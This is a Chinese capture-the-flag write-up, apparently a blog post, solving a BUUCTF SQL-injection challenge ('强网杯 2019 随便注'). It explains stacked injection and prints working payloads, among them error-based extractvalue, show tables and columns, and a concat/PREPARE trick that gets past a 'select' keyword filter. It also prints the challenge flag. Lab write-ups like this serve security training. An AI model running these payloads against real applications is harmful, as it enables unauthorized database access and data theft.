[强网杯 2019]随便注
[强网杯 2019]随便注
题目来源:buuctf
题目类型:web
涉及考点:SQL注入、堆叠注入
1. 先简单介绍一下堆叠注入
在SQL语句中,分号用来表示一条语句的结束。那么当我们结束一条语句之后,继续构造下一条语句,可不可以一起执行呢?这就是堆叠注入,简单来说,就是把多条SQL语句一起上传。
例如,我们在进行union注入时会构造这样的语句:
select * from user where id=1 union select ...
而堆叠注入会构造这样的语句:
select * from user where id=1; show database(); ...
2. 接下来我们看到题目给了一个提交窗口,输入框内默认提交1
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142239_image-20230717212222095.png)
我们直接提交看看:
我们再提交个2:
传入值大于2之后就没有回显了,没得到什么有效的信息,那就直接尝试注入吧
3. 注入过程
- 注入点在url中提示我们了,就是inject,并且利用get传参
- 先判断闭合方式:
传入 1' 报错如下,可以判断闭合类型为单引号闭合
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142239_image-20230717212459849.png)
- 我们先利用union注入查询数据库名,传入
1' union select database()#
,得到回显如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142240_image-20230717212901509.png)
- 可以发现上述关键字均被屏蔽,这时只能考虑使用堆叠注入:
传入1'; show database();#
虽然回显不变,但是说明堆叠注入可行
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142240_image-20230717213416177.png)
- 那怎么拿到数据库名呢,这时候就该利用报错注入了,因为报错注入里爆库名不需要利用到select,那么构造payload如:
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#
拿到库名:
- 爆表名:
1';show tables#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142240_image-20230717214342860.png)
- 发现两张表,我们分别查看:
- 第一张
1';show columns from `1919810931114514`#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717142240_image-20230717214858038.png)
- 第二张
1';show columns from `words`#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717143243_image-20230717214951712.png)
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230717143243_image-20230717214945912.png)
这里在表名左右加单引号闭合的时候一直没有回显,看了其他师傅的wp才知道要用``做闭合,这里说明一下原因:
关于单引号 ' 和飘号 ` (个人习惯叫飘号),两者在linux下和windows下不同,linux下不区分,windows下区分
单引号 ' 或双引号 " 主要用于字符串的引用符号
飘号 ` 用于数据库、表、索引、列和别名
有MySQL保留字作为字段的,必须加上飘号来区分
- 我们在第一张表中发现了flag,那么接下来需要查询id,利用堆叠注入构造payload如下:
-1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE payl from @sql;execute payl#
因为还是需要使用到select关键字,所以这里利用字符串拼接加执行函数execute解决。
最终得到flag:
flag{7e12ae2e-ef19-40a7-9e62-467eb6f949ba}
日期:2023.7.17
作者:y0Zero